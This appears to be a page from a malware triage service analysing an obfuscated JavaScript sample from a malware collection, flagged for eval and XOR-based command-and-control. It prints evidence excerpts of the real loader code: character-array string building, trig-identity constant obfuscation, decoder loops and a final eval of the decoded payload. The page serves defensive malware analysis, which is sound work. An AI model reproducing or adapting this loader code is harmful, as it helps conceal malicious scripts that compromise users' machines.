Suspicious 80% javascript-malware-collection Download

20151217_33fd8f033914c8f4f8f4e87657e81a15.js

Heavily obfuscated, eval, XOR C2

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256d7f5023fa48fa8d38f8ea6dc1998bd1535dc96da4a1c5d24c45037f83bf97e7a

Evidence

0xff hex byte token line 1
1:199… xbe,0xc5,0xca,0xd0,0xd2,0xd7,0xdf,0xe5,0xe6,0xeb,0xf3,0xf6,0xfc,0xff,0x108,0x10d,0x10f,0x117,0x11b,0x121,0x124,0x128,0x12c,0x134,0x137,0x13c,0x140,0x146,0x14e,0x152,0x155,0x15b,0x160,0x167,0x16a,0 …
Builds characters with String.fromCharCode line 2
2:146… 'b','`','@','5','.','L','U','r','{','C','+','T','O','L','J','&',String.fromCharCode(10),'r',':','w','`','Y','=','l',':','O','c','<','r','?','"',',','g','X','S',String.fromCharCode(13),'P','<','r','/','A','b',' ','Y','F','<','G','"','e','R','e','n','d','U','8','^','o','p','{','H','8','{','9','i','f','l','j','/','d','2','w','(','M','t','a','l','h','h','S','9','G','c','B','e','F','{','n','g …
XOR URL reconstruction call line 2
2:1858… 'O','Y','-','!','Z','E','-','C','D','u','L','M','[','@','c','>',String.fromCharCode(92),'4','.','H','W','#',']','w','^','^','I','.','P','w','`','f','_','F','j','(','r','`',':','a','1','m',']',':','b','Y','H','P','A','c',':','=','$','M','v','d','A','K …
Dense indexed short-token grid lines 4–13
4:44… YLPgRb){IfYr=OGsjWQFlgoBHfUdrv(vJmeRpIuVSN,ZdLMsSjzbvweT);IrkqJ=IfYr.toString(EzYLPgRb);return IrkqJ;}
5function CVlQbXmUxtxYUDv(ocHMgscDEMizbgXKu,sCQMTIvVsPJijzVcefTAGWZqTKLOeDQxMi,oOSoGPOaSNZPAvCryfXqZuynOAbWorURQkG){eval(ocHMgscDEMizbgXKu);}
6function AvSgiEQyYXjZhNbiNWxdPQlxnGFJXRrEpWuJxjckvmGktvQjJbvBMO(WurVFJcwnwDqs,HvidPoMRlGATjM){ return mVAfboJ[EmqmUJoS[FzRYd(WurVFJcwnwDqs[HvidPoMRlGATjM],(14779+453)/544,(4955+175)/513)]];}
7function lgoSqWK(zitXJsEKAqVIPrzZVuhhFBFphFukgPGhKyKk) {return !YokbaNueVFv(tiYnAouiCyugIoW(zitXJsEKAqVIPrzZVuhhFBFphFukgPGhKyKk)) && mCRiCkzelSLw(zitXJsEKAqVIPrzZVuhhFBFphFukgPGhKyKk);}
8function YokbaNueVFv(oEuIYfbxdXjFhv) {return isNaN(oEuIYfbxdXjFhv);}
9function mCRiCkzelSLw(tPjTGWudgXNbU) {return isFinite(tPjTGWudgXNbU);}
10function OGsjWQFlgoBHfUdrv(RxVlRjEzAH,uFLHYktKeA) {return parseInt(RxVlRjEzAH,uFLHYktKeA);}
11function tiYnAouiCyugIoW(yTVAPdGpgODnICnoSeK) {return parseFloat(yTVAPdGpgODnICnoSeK);}
12function P(XKPOcosFwIuuST,qxjBvzkitCTsc,WaAyKIrJrPU) {XKPOcosFwIuuST[qxjBvzkitCTsc]=WaAyKIrJrPU;}
13var y = new Array();y[0]=[];y[0][0]='d';y[0][1]='a';y[0][2]='d';y[0][3]='a';y[0][4]='46';y[0][5]='3d';y[0][6]='42';y[0][7]='14';y[0][8]='3r';y[0][9]='14';y[0][10]='25';y[0][11]='14';y[0][12]='16';y[0][13]='47';y[0][14]='3k';y[0][15]='3d';y[0][16]='44';y[0][17]='3g';y[0][18]='3l';y[0][19]='3g';y[0][20]='49';y[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],y[4],y[5]];
20var uzzBSHRlb=[];
21function ontgoFdcLFFOodowb(pQicO){flTOTPAqLKW= '';VJKnJicAySd=Math.round((Math.pow(Math.sin(342), 2) + Math.pow(Math.cos(342), 2) - 1));while(true){if (VJKnJicAySd >= (548+808)/226){break;}uzzBSHRlb[VJKnJicAySd]=Math.round((Math.pow(Math.sin(288), 2) + Math.pow(Math.cos(288), 2) - 1)); while(true) { if(uzzBSHRlb[VJKnJicAySd] > pQicO[VJKnJicAySd].length-(388+144)/532) { break; } if (lgoSqWK(FzRYd(pQicO[VJKnJicAySd][uzzBSHRlb[VJKnJicAySd]],(27413+195)/986,(8857+563)/942))) {flTOTPAqLKW += AvSgiEQyYXjZhNbiNWxdPQlxnGFJXRrEpWuJxjckvmGktvQjJbvBMO([pQicO[VJKnJicAySd][uzzBSHRlb[VJKnJicAySd]]], Math.round((Math.pow(Math.sin(347), 2) + Math.pow(Math.cos(347), 2) - 1)));} uzzBSHRlb[VJKnJicAySd]++;}VJKnJicAySd++;} return flTOTPAqLKW}
22var OLkSYWtzoOjWkDSCNoCSmApKshdxgqadm = 'hVMPMGFWNdfuivZqJkVzYPSvcMYFwATlzPvE';var ITwbHPjdaRNgRuuGBGTeSPzWlgXizcVp = 'sgrEHixSLBgTDowuqCajqYKVrDbtYNQODkiA';CVlQbXmUxtxYUDv(ontgoFdcLFFOodowb(pQicO),OLkSYWtzoOjWkDSCNoCSmApKshdxgqadm,ITwbHPjdaRNgRuuGBGTeSPzWlgXizcVp);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.